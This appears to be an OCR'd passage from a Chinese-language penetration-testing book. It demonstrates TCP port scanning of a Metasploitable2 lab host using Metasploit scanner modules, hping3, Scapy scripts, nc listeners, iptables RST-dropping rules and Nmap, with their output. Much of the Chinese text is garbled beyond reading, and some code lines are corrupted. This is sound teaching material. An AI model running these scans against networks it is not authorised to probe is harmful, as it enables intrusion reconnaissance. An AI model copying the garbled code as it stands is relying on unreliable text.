PORTS 0-100 yes Ports to scan (e.g. 222
5,80,110-900)

RHOSTS 172.16.36.135 yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 20 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds

msf auxiliary(syn) > run

[*] TCP OPEN 172.16.36.135:21
[*] TCP OPEN 172.16.36.135:22
[*] TCP OPEN 172.16.36.135:23
[*] TCP OPEN 172.16.36.135:25
[*] TCP OPEN 172.16.36.135:53
[*] TCP OPEN 172.16.36.135:80
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

L@ty o PR TAL TAALE4R 100 A~ TCP 5% v L 4T T TCP SYN 42
Bho BABRANABRIRANT ARAALNY S MEE » KN TRAVITA KGR RG]
ko RIEPTA T AL A5 O bk AR A R B o T Uk IRFe B ARSH O MALATCP k353 4
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msf auxiliary(syn) > set PORTS 0-65535
PORTS => 0-65535
msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

PORTS 0-65535 yes Ports to scan (e.g. 222
5,80,110-900)

RHOSTS 172.16.36.135 yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 20 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds
msf auxiliary(syn) > run

TCP OPEN 172.16.36.135:21

TCP OPEN 172.16.36.135:22

TCP OPEN 172.16.36.135:23

TCP OPEN 172.16.36.135:25

TCP OPEN 172.16.36.135:53

TCP OPEN 172.16.36.135:80

TCP OPEN 172.16.36.135:111
TCP OPEN 172.16.36.135:139
TCP OPEN 172.16.36.135:445
TCP OPEN 172.16.36.135:512
TCP OPEN 172.16.36.135:513
TCP OPEN 172.16.36.135:514
TCP OPEN 172.16.36.135:1099
TCP OPEN 172.16.36.135:1524
TCP OPEN 172.16.36.135:2049
TCP OPEN 172.16.36.135:2121
TCP OPEN 172.16.36.135:3306
TCP OPEN 172.16.36.135:3632
TCP OPEN 172.16.36.135:5432
TCP OPEN 172.16.36.135:5900
TCP OPEN 172.16.36.135:6000
TCP OPEN 172.16.36.135:6667
TCP OPEN 172.16.36.135:6697
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TCP OPEN 172.16.36.135:8009

TCP OPEN 172.16.36.135:8180

TCP OPEN 172.16.36.135:8787

TCP OPEN 172.16.36.135:34789

TCP OPEN 172.16.36.135:50333

TCP OPEN 172.16.36.135:56375

TCP OPEN 172.16.36.135:57385
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

L T s T s I s I s I s I s I e |
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B o KAV T UG Az ke B AE R sdr 51875 R a a5 7| o

msf auxiliary(syn) > set RHOSTS 172.16.36.0-255
RHOSTS => 172.16.36.0-255
msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

PORTS 80 yes Ports to scan (e.g. 222
5,80,110-900)

RHOSTS 172.16.36.0-255 yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 20 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds
msf auxiliary(syn) > run
[*] TCP OPEN 172.16.36.135:80

[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

FEAMEFF > TCP SYN 423347/ &1 RHOST T 235 T 89 FT A T MGG 80 3% 0
Lt o 544> RHOSTS 7T ¥A4% A CIDR 124 XL M%& B o



msf auxiliary(syn) > set RHOSTS 172.16.36.0/24
RHOSTS => 172.16.36.0/24
msf auxiliary(syn) > show options

Module options (auxiliary/scanner/portscan/syn):

Name Current Setting Required Description

BATCHSIZE 256 yes The number of hosts to
scan per set

INTERFACE no The name of the interfa
ce

PORTS 80 yes Ports to scan (e.g. 222
5,80,110-900)

RHOSTS 172.16.36.0/24 yes The target address rang
e or CIDR identifier

SNAPLEN 65535 yes The number of bytes to
capture

THREADS 20 yes The number of concurren
t threads

TIMEOUT 500 yes The reply read timeout

in milliseconds
msf auxiliary(syn) > run
[*] TCP OPEN 172.16.36.135:80

[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed

IAE)R 32
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e B

T R AT F 5] TR EXHET > hping3 LT AR THATH o dadh o A THEH
hping3 #uAT3% adadd » HATEZA—DNELMEE A --scan AR R
ma g o

root@KaliLinux:~# hping3 172.16.36.135 --scan 80 -S
Scanning 172.16.36.135 (172.16.36.135), port 80

1 ports to scan, use -V to see all the replies
fhocoodfoccoocooooc fhocococooooo o codhoocooc fhocooc fhocooo +

|port| serv name | flags |ttl| id | win | len |

fhocoodhoccoocooooc fhoccocooooo fhocodhoocooc fhocooc fhocooo +
80 http : .S..A... 64 0@ 5840 46

All replies received. Done.

Not responding ports:

L@y Fd 0 SYN BRI ATAEIS T IP ikt TCP 3% v 80 Lo -s @ AIEHAT
BB RBAGZHIOPRLEN TCP 1R c AR E T THEKBGh TP R
Mo RATTVARI P A %] » 32003 TSYN+ACK *A & » BTAR & & B Ax A4 O
80 &St o It KM TARBIEMAN TS EMNH T AR ENE 0 %
LA

root@KaliLinux:~# hping3 172.16.36.135 --scan 22,80,443 -S
Scanning 172.16.36.135 (172.16.36.135), port 22,80,443
3 ports to scan, use -V to see all the replies

boocoodhocococooccoooc boococcococooc foocodbocoos boocooc Boocooo +
|port| serv name | flags |ttl| id | win | len |
Foococodhocococoocoooc Foococcococooc Foocodbocoos Foocooc Poocooo +
22 ssh . .S..A... 64 0 5840 46
80 http : .S..A... 64 O 5840 46

All replies received. Done.
Not responding ports:

LAr@mtgaih e o RTAEFEE » (R T THEZH SYN+ACK AFIRGLE R - &
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root@KaliLinux:~# hping3 172.16.36.135 --scan 0-100 -S
Scanning 172.16.36.135 (172.16.36.135), port 0-100
101 ports to scan, use -V to see all the replies

o eE e e e e R . Tt oo b +
|port| serv name | flags |ttl| id | win | len |
L R . Tt oo b +
21 ftp S..A.. 64 0 5840 46
22 ssh S..A.. 64 0 5840 46
23 telnet S..A.. 64 0 5840 46
25 smtp S..A.. 64 0 5840 46
53 domain S..A.. 64 0 5840 46
80 http .S..A. 64 0 5840 46

All replies recelved Done
Not responding ports:

LA FF 2 100 438 8942 #2412 3] Metasploitable2 24 L&k % o 122 »
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root@KaliLinux:~# hping3 172.16.36.135 --scan 0-65535 -S
Scanning 172.16.36.135 (172.16.36.135), port 0-65535
65536 ports to scan, use -V to see all the replies

oo eE e e e e e R . Tt o b +
|port| serv name | flags |ttl| id | win | len |
e R . Tt oo b +
21 ftp .S..A.. 64 0 5840 46

22 ssh .S..A.. 64 0 5840 46

23 telnet .S..A.. 64 0 5840 46

25 smtp .S..A.. 64 0 5840 46

53 domain .S..A.. 64 0 5840 46
111 sunrpc 3 0o oloc 64 @ 5840 46
1099 rmiregistry: .S..A.. 64 0 5840 46
1524 ingreslock .S..A.. 64 0 5840 46
2121 iprop .S..A.. 64 0 5840 46
8180 .S..A.. 64 0 5840 46
34789 .S..A.. 64 0 5840 46
512 exec 080 ofAo ¢ 64 @ 5840 46
513 login .S..A.. 64 0 5840 46
514 shell .S..A.. 64 0 5840 46
3632 distcc .S..A.. 64 O 5840 46
5432 postgresql .S..A.. 64 0 5840 46
56375 .S..A.. 64 0 5840 46
80 http : .S..A.. 64 0 5840 46
445 microsoft-d: .S..A.. 64 0 5840 46
2049 nfs . .S.LAL. 64 0@ 5840 46
6667 ircd .S..A.. 64 O 5840 46
6697 .S..A.. 64 O 5840 46
57385 : .S..A.. 64 O 5840 46
139 netbios-ssn: .S..A.. 64 0 5840 46
6000 x11 .S..A.. 64 O 5840 46
3306 mysql .S..A.. 64 0@ 5840 46
5900 .S..A.. 64 O 5840 46
8787 .S..A.. 64 O 5840 46
50333 .S..A.. 64 O 5840 46
8009 S..A. 64 0 5840 46

All replies received. Done.
Not responding ports:

I AR
hping3 7*AFT—Re @R E e h  RACHEH SYN 2HREX - 22K

Z 0 BAHFARIEZ TCP 3 6L R £ 0 697569 TCP 4718 o 4048 F 6946 F
5 -5 #IAIE hping3 4 A TCP 4t 169 SYN 4718 ©
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ESHEPARTELEY > TCP &R SYN AR ERE S - LZHAA TCP &4
BPRFLERAT AmAEAN SYN J2 85 F1£ A 697453 L miTFHARIR © Scapy &
B h)— KRB 9) o Scapy EFr EIFF B UARAT 4289 TCP ZREF » R L o 12
Ao BT EFEMIANALERG B > RNV KA A fT1& A Scapy hATHEHERH -

&

A TAL M Scapy #uAT A& HEA® > REE—1E4/7T UDP MA R FZRME E -
AP T F £A112 F Metasploitable2 52 4] k#1474 % - & & Metasploitable2 #7 &
%13 Bif A F—F T 89“% X Metasploitable2”#: 4% °
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Scapy FPREMATAEHERH » B ZAL AT smiERE Scapy T L #69F K » 3
HZRME R A AE L LN = RBETF - RTXLE Wireshark 2 tcpdump
Tl R E SYN HFRARKE XA ZTRARNZIANTAE o BHRBKI R THEE
%69 SYN+ACK *A B » Linux AZSERE » HAE L FEB KRR TAN L » B
€ R i@ R e Scapy F REEFER o HALAA LB FHEA TCPRST #H &%=

2o AAWARTFIAE - FET @G -F !

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

response = sri1(IP(dst="172.16.36.135")/TCP(dport=80,flags='S"'))
reply = sri1(IP(dst="172.16.36.135")/TCP(dport=80,flags="A",ack=(
respon se[TCP].seq + 1)))

XA~ Python By A 694] F =T A B POC k% & B3R = R AB F 69 /AR o 32 iy AR
BRI H R RO EH REAEN B AR o Bk > B1% SYN+ACK & 8 &4 A4 4144
SYN % Kook miR W o Bpig X4 T &JEH ACKEE » T T4 F » RST #t &40
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#!/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setlLevel(logging.ERROR)
from scapy.all import *

SYN = IP(dst="172.16.36.135")/TCP(dport=80, flags='S")

print "-- SENT --"
SYN.display()

print "\n\n-- RECEIVED --"
response = sri1(SYN, timeout=1,verbose=0)
response.display()

if int(response[TCP].flags) == 18:

print "\n\n-- SENT --"

ACK = IP(dst="172.16.36.135")/TCP(dport=80, flags='A',ack=(re
sponse| TCP].seq + 1))

response2 = sr1(ACK, timeout=1, verbose=0)

ACK.display()

print "\n\n-- RECEIVED --"

response2.display()
else:

print "SYN-ACK not returned"

Z A Python By AT » B4 % 583 O AR ATRT » AAEAKE GH
MEBKZERT o LB G EN TCP Aninty it 2% » N TUA
Bl ZRBFAKT o ZAGBALRYTAMH

root@KalilLinux:~# ./tcp_connect.py

-- SENT -
#at[ IP |###
version = 4
ihl = None
tos = 0Ox0
len = None
id =1
flags =
frag =0
ttl = 64
proto = tcp
chksum = None
src = 172.16.36.180
dst = 172.16.36.135

\options \
#i#[ TCP |###

sport = ftp_data
dport = http
seq =0



ack =0

dataofs = None
reserved =0
flags =S
window = 8192
chksum = None
urgptr =0
options = {}

-- RECEIVED -

#att[ IP |###
version = 4L
ihl = 5L
tos = 0x0
len = 44
id =0
flags = DF
frag = 0oL
ttl = 64
proto = tcp
chksum = Ox9970
src = 172.16.36.135
dst = 172.16.36.180

\options \
#it#[ TCP |###

sport = http
dport = ftp_data
seq = 3013979073L
ack =1
dataofs = 6L
reserved = OL
flags = SA
window = 5840
chksum = Ox801e
urgptr =0
options = [('MSS', 1460)]
###[ Padding ]###
load = '"\xX00\x00'
-- SENT -
#i#H[ IP |###
version = 4
ihl = None
tos = 0x0
len = None
id =1
flags =
frag =0
ttl = 64
proto = tcp
chksum = None
src = 172.16.36.180
dst = 172.16.36.135

\options \
#it#[ TCP |###



sport = ftp_data
dport = http
seq =0
ack = 3013979074L
dataofs = None
reserved =0
flags = A
window = 8192
chksum = None
urgptr =0
options = {}
-- RECEIVED -
#i#[ IP ###
version = 4L
ihl = 5L
tos = 0Ox0
len = 40
id =0
flags = DF
frag = 0oL
ttl = 64
proto = tcp
chksum = Ox9974
src = 172.16.36.135
dst = 172.16.36.180

\options \
#i#[ TCP |###

sport = http
dport = ftp_data
seq = 3013979074L
ack =0
dataofs = 5L
reserved = OL
flags =R
window =0
chksum = Oxaeb8
urgptr =0
options = {}
###[ Padding ]###
load = '"\X00\X00\XO0\XO0\XO00\X00"
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admin@ubuntu:~$ nc -lvp 4444
listening on [any] 4444 ...

AT ¥ 0 HAVE TCP 3% 0 4444 F+ B T B9 IR % o HATVE 7T VS B AT 69 iy
Aok ZRXEHE 0 4444 L) Netcat BTk % o

#1/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

response = sr1(IP(dst="172.16.36.135")/TCP(dport=4444,6flags='S")

)
reply = sri1(IP(dst="172.16.36.135")/TCP(dport=4444,flags='A"', ack

=(resp onse[TCP].seq + 1)))

BAMPAT » SYNHERKLELT Bima o 8 SYN+ACK I E X5 » £ KA
ACK®I & o A TRtk % ﬂﬁ%%iﬁ%RSﬁﬁ@ﬁM’k4w$awﬁ
Wireshark B # X Jg #4T » kM K1E5KE N o ZA11E A Wireshark 938 & ka5
BAEZRFT o PR A6 S

A~ tcp && (ip.src == 172.16.36.135 || ip.dst == 172.16.36.135) ° i
BB TETRARLEE ALY TCP AT o X H

R e o = e G

No. Destination  Protocol Info

3172.16.36.135 TCP ITEP Port numbers reused] ftp-data = krb%24 [SY Ceqe=429496729% Win=8192 Len=0

%%ﬁmaﬁ%%i&TMﬁo&mTu%;LK“,ﬁﬁm Ea% R AGLAE R Y
RST# & o IANALRET LA IS RAKIP ARE S
e T 77 AR P 2B IMENMA XL B RST A » A EFBIRAL

Z_ 18| &) TCP/IP ¥ % 694 3 77 X, o #44R % JL 4 iptable LM /£ & Aﬂ%mﬁ(F
B RAZEAE A T 24 AR # iptable e

iptables --flush



root@KaliLinux:~# iptables -A OUTPUT -p tcp --tcp-flags RST RST
-d 172.16.36.135 -j DROP

root@KaliLinux:~# iptables --1list

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

DROP tcp -- anywhere 172.16.36.135 tep
flags:RST/RST

BB TF 0 RH P KA ETR T FT A L AR 3 # A0 B 47 3k 49 TCP
RST#f & o list & RMBETURATER IP 26958 » ARKERE LEBTH
o ATHATS —REZEZRK > KA F XK Natcat 778 K97 B 4789 4444 550 >
153X HF

admin@ubuntu:~$ nc -1lvp 4444
listening on [any] 4444 ...

Aa Z_E] A48 F 8 Python By AT AR R AL A » Bl Wireshark 23R )G 6 89 R F © 1%
AZATH e L rLRE » KNTARHFZETHTHARE - REFTZRET A
AR T AL > 2K E] 2 %A MRS RST 3 693781 » 1A%

I oo == 1721031351 st == 172163 13

No. Destination Protocol Info
3172.16.36.135 TCP [TCP Port numbers reused] ftp-data = krbS24 [SYN] Seq=4294967295 Win=8192 Len=9

s b R RN E—FAEITEBRALY Netcat RS » KN TREED > 817E
ITHEH ZEATHRUARSELEENH—F IR  c XTUAT@OHE T A
3

admin@ubuntu:~$ nc -lvp 4444

listening on [any] 4444 ... 172.16.36.132: inverse host lookup f
ailed: No address associated with name

connect to [172.16.36.135] from (UNKNOWN) [172.16.36.132] 42409

BARBIANG ] AL AE R TCP ZHY P A+ A R WEIP 295 BL+5H
FTE oRST#H & & TCP Mz 89 ER MY » F1RX ek 2 2ok EF 69318155
B8 o Bhek Az 694 47T AR TR #7 K418 iptable AW » H Bk Rl #7 R :



root@KaliLinux:~# iptables --flush

root@KaliLinux:~# iptables --1list

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy ACCEPT)
target prot opt source destination

Chain OUTPUT (policy ACCEPT)
target prot opt source destination

ARG TP BT ARHE > flush A TFHEREIP AL R o KRATA S Kk
Fl list BARBIEIP AFBCLEHKRT o
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3.11 Nmap & #3244

TCP # i ja#5il & 5242 T Loy &k da 569 3% D%l%i‘éé’] TCP % 4%k
11 o ZAHLEE BT T 4o fT48 ] Nmap k4T TCP B #
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root@KaliLinux:~# nmap -sT 172.16.36.135 -p 80

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 22:03 EST
Nmap scan report for 172.16.36.135

Host is up (0.00072s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds

FERAEGEFP > 45269 IP Hhtbty) TCP 80 5% 2 EAT T TCP KEAbdafh o fo
Scapy F ##554844 » Nmap %% of1 52 3 38 it 947 ok i F BT igk & 9 TCP 4R 1R & 1%
I AE 2 o RATLTA4E ] Nmap AT % MF s o tgiasy » A3 %E5 5B
35T 57k o

root@KaliLinux:~# nmap -sT 172.16.36.135 -p 21,80,443

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 22:03 EST
Nmap scan report for 172.16.36.135

Host is up (0.00012s latency).

PORT STATE SERVICE

21/tcp open ftp

80/tcp open http

443/tcp closed https

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds

ERABIFE  Bin IP &35 0 21 ~ 80 443 E4ITT TCP #4424 o &A1
AT 4% ] Nmap kiats 457 » B d iz ARG H MR E— ke 5o
VABR AT 5 418

root@KalilLinux:~# nmap -sT 172.16.36.135 -p 20-25

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 21:48 EST
Nmap scan report for 172.16.36.135

Host is up (0.00019s latency).

PORT STATE SERVICE

20/tcp closed ftp-data

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

24/tcp closed priv-mail

25/tcp open smtp

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.05 seconds



FEPTARAE 89 4) T > SYN 3245 TCP 20 2] 25 5% 0 E3AT © M T 404 45 % k2 4
580 RH Z 98 o Nmap Fl i 3074 Be B 4 69 1000 A0 % A 3% 0 69 5 & o &A1 2Lt
1T sess 0 B R da s o i R A EATE O 48 B 42 & % 54T Nmap ¢

root@KaliLinux:~# nmap -sT 172.16.36.135

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 22:13 EST
Nmap scan report for 172.16.36.135
Host is up (0.00025s latency).

Not shown: 977 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp  open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry
1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysql

5432/tcp open postgresqgl

5900/tcp open vnc

6000/tcp open X11

6667/tcp open 1irc

8009/tcp open ajpl3

8180/tcp open unknown

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.13 seconds

£ E@EHFF 0 28T Nmap & L5 1000 A% Ass e » A -TR 3]
Metasploitable2 A %L L& KR ZA MM T o BRI AN E AR S K& RS
1247 B8 T R IR PR BB IR - RF T F sk 2488 o W R R EPTA T 7e89
TCP s# v LhAT » PTA T fe 6938 0 3b kA A7 & Sakdaty o LT Rk O e B Arsg 0
Wb TCP k3o A 164k o HH» 42T AA 1 RA 0 Ak &

A 2 ** 16 KA 65536 T AL TCP 3# 13kt o st T &32 £ 69 430 T AL 69 3 hk
ZR) s H R0 ) 65535 9k 2 TWE o A



root@KalilLinux:~# nmap -sT 172.16.36.135 -p 0-65535

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 22:14 EST
Nmap scan report for 172.16.36.135
Host is up (0.00076s latency).
Not shown: 65506 closed ports
PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec

513/tcp open login

514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs

2121/tcp open ccproxy-ftp
3306/tcp open mysqgl
3632/tcp open distccd
5432/tcp open postgresql
5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open unknown
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open unknown
34789/tcp open unknown
50333/tcp open unknown
56375/tcp open unknown
57385/tcp open unknown

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 17.05 seconds
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root@KaliLinux:~# nmap 172.16.36.0-255 -sT -p 80

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 22:16 EST
Nmap scan report for 172.16.36.1 Host is up (0.00026s latency).
PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.2 Host is up (0.00018s latency).
PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.132 Host is up (0.00047s latency)

PORT STATE SERVICE
80/tcp closed http
MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00016s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap scan report for 172.16.36.180
Host is up (0.0029s latency).

PORT STATE SERVICE

80/tcp open http

Nmap done: 256 IP addresses (5 hosts up) scanned in 42.55 second
s
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root@KalilLinux:~# cat iplist.txt
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

root@KaliLinux:~# nmap -sT -iL iplist.txt -p 80

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-17 22:17 EST
Nmap scan report for 172.16.36.1

Host is up (0.00016s latency).

PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:C0:00:08 (VMware)

Nmap scan report for 172.16.36.2

Host is up (0.00047s latency).

PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:50:56:FF:2A:8E (VMware)

Nmap scan report for 172.16.36.132

Host is up (0.00034s latency).

PORT STATE SERVICE

80/tcp closed http

MAC Address: 00:0C:29:65:FC:D2 (VMware)

Nmap scan report for 172.16.36.135

Host is up (0.00016s latency).

PORT STATE SERVICE

80/tcp open http

MAC Address: 00:0C:29:3D:84:32 (VMware)

Nmap done: 4 IP addresses (4 hosts up) scanned in 13.05 seconds
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root@KaliLinux:~# msfconsole
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM

MMMMMMMMMMM MMMMMMMMMM
MMMN$ VMMMM
MMMN1 MMMMM MMMMM  JMMMM
MMMN1 MMMMMMMN NMMMMMMM ~ JMMMM
MMMN1 MMMMMMMMMNmmmNMMMMMMMMM ~ JMMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM ~ j MMMM
MMMNI MMMMMMMMMMMMMMMMMMMMMMM ~ jMMMM
MMMNI  MMMMM MMMMMMM MMMMM  jMMMM
MMMNI  MMMMM MMMMMMM MMMMM  jMMMM
MMMNI  MMMNM MMMMMMM MMMMM  jMMMM
MMMNI WMMMM MMMMMMM MMMM#  JMMMM
MMMMR  ?MMNM MMMMM . dMMMM
MMMMNm ~?MMM MMMM™ dMMMMM
MMMMMMN  ?MM MM?  NMMMMMN
MMMMMMMMNe JMMMMMNMMM
MMMMMMMMMMNmM, €MMMMMNMMNMM
MMMMNNMNMMMMMN X

NMNMMNMMNMM

http://metasploit.pro

MMMMMMNMMNMMNM  MMMMMMMMNMMNMMMMm+. . +MMNMM

Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro --

type 'go_pro' to launch it now.

+ -- -
+ -- -

msf > use

auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > show options

[ metasploit v4.6.0-dev [core:4.6 api:1.0]
[ 1053 exploits - 590 auxiliary - 174 post
[ 275 payloads - 28 encoders - 8 nops

Module options (auxiliary/scanner/portscan/tcp):

Name

Current Setting Required Description

CONCURRENCY 10
rent ports to check per hos

PORTS 1-10000
2225,80,110-900)
RHOSTS
ange or CIDR identifier
THREADS 1
rent threads
TIMEOUT 1000

ut in milliseconds

A T /£ Metasploit F #4147 TCP & iEda s » Ak Bk agAa xt 362 A use 4
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yes
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The reply read timeo
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#% name ~ current settings ~ required #° description ° name 7|i%
THEANTERETENLAR o current settings 77| THEATA T T EHILA B
E o required Zliz B TAEMA TR F » AL ELLMEY o description 7|4
WTHENTEODR AL T T EOMETAER set 44 F BB HGEEN
B RORAG P o

msf auxiliary(tcp) > set RHOSTS 172.16.36.135
RHOSTS => 172.16.36.135

msf auxiliary(tcp) > set PORTS 80

PORTS => 80

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurr
ent ports to check per hos

PORTS 80 yes Ports to scan (e.g. 2
225,80,110-900)

RHOSTS 172.16.36.135 yes The target address ra
nge or CIDR identifier

THREADS 1 yes The number of concurr
ent threads

TIMEOUT 1000 yes The reply read timeou

t in milliseconds
msf auxiliary(tcp) > run

[*] 172.16.36.135:80 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

£ L@ bgBlFF o RHOSTS ABA15 Pk 4 K AT Fda £ 69 TAZ A 4069 IP 3k o sbsb o
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msf auxiliary(tcp) > set PORTS 0-100
PORTS => 0-100

msf auxiliary(tcp) > set THREADS 20
THREADS => 20

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurr
ent ports to check per hos

PORTS 0-100 yes Ports to scan (e.g. 2
225,80,110-900)

RHOSTS 172.16.36.135 yes The target address ra
nge or CIDR identifier

THREADS 20 yes The number of concurr
ent threads

TIMEOUT 1000 yes The reply read timeo

ut in milliseconds

msf auxiliary(tcp) > run

[*] 172.16.36.135:25 - TCP OPEN
[*] 172.16.36.135:23 - TCP OPEN
[*] 172.16.36.135:22 - TCP OPEN
[*] 172.16.36.135:21 - TCP OPEN
[*] 172.16.36.135:53 - TCP OPEN
[*] 172.16.36.135:80 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

T T 0 BAZEFI57K A 20 © THREADS BJ4E T L T /26 & #ATH S Al fE 5 3%k
T o MTABER TSR FR AT RERAESRE IR EHELEAL
KR o T EHAL 20 MNEAETUAES R AHAML AT o FARXRANM AR T

B 4% ,%%éﬁ?/\u% AT GEF NPT A X EARR Ak 0 BRIEPTA T RE69 5% 0 3
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msf auxiliary(tcp) > set PORTS 0-65535
PORTS => 0-65535
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurr
ent ports to check per host



PORTS 0-65535 yes Ports to scan (e.g. 2
225,80,110-900)

RHOSTS 172.16.36.135 yes The target address ra
nge or CIDR identifier

THREADS 20 yes The number of concurr
ent threads

TIMEOUT 1000 yes The reply read timeou

t in milliseconds
msf auxiliary(tcp) > run

172.16.36.135:25 - TCP OPEN
172.16.36.135:23 - TCP OPEN
172.16.36.135:22 - TCP OPEN
172.16.36.135:21 - TCP OPEN
172.16.36.135:53 - TCP OPEN
172.16.36.135:80 - TCP OPEN

172.16.36.135:111 - TCP OPEN
172.16.36.135:139 - TCP OPEN
172.16.36.135:445 - TCP OPEN
172.16.36.135:514 - TCP OPEN
172.16.36.135:513 - TCP OPEN
172.16.36.135:512 - TCP OPEN

172.16.36.135:1099 - TCP OPEN
172.16.36.135:1524 - TCP OPEN
172.16.36.135:2049 - TCP OPEN
172.16.36.135:2121 - TCP OPEN
172.16.36.135:3306 - TCP OPEN
172.16.36.135:3632 - TCP OPEN
172.16.36.135:5432 - TCP OPEN
172.16.36.135:5900 - TCP OPEN
172.16.36.135:6000 - TCP OPEN
172.16.36.135:6667 - TCP OPEN
172.16.36.135:6697 - TCP OPEN
172.16.36.135:8009 - TCP OPEN
172.16.36.135:8180 - TCP OPEN
172.16.36.135:8787 - TCP OPEN
172.16.36.135:34789 - TCP OPEN
172.16.36.135:50333 - TCP OPEN
172.16.36.135:56375 - TCP OPEN
172.16.36.135:57385 - TCP OPEN
Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
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msf auxiliary(tcp) > set RHOSTS 172.16.36.0-255
RHOSTS => 172.16.36.0-255
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurr
ent ports to check per host

PORTS 80 yes Ports to scan (e.g. 2
225,80,110-900)

RHOSTS 172.16.36.0-255 yes The target address ra
nge or CIDR identifier

THREADS 20 yes The number of concurr
ent threads

TIMEOUT 1000 yes The reply read timeou

t in milliseconds
msf auxiliary(tcp) > run

Scanned 026 of 256 hosts (010% complete)
Scanned 056 of 256 hosts (021% complete)
Scanned 078 of 256 hosts (030% complete)
Scanned 103 of 256 hosts (040% complete)
172.16.36.135:22 - TCP OPEN
172.16.36.135:80 - TCP OPEN
172.16.36.132:22 - TCP OPEN

Scanned 128 of 256 hosts (050% complete)
Scanned 161 of 256 hosts (062% complete)
172.16.36.180:22 - TCP OPEN
172.16.36.180:80 - TCP OPEN

Scanned 180 of 256 hosts (070% complete)
Scanned 206 of 256 hosts (080% complete)
Scanned 232 of 256 hosts (090% complete)
Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed
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msf auxiliary(tcp) > set RHOSTS 172.16.36.0/24
RHOSTS => 172.16.36.0/24
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurr
ent ports to check per host

PORTS 80 yes Ports to scan (e.g. 2
225,80,110-900)

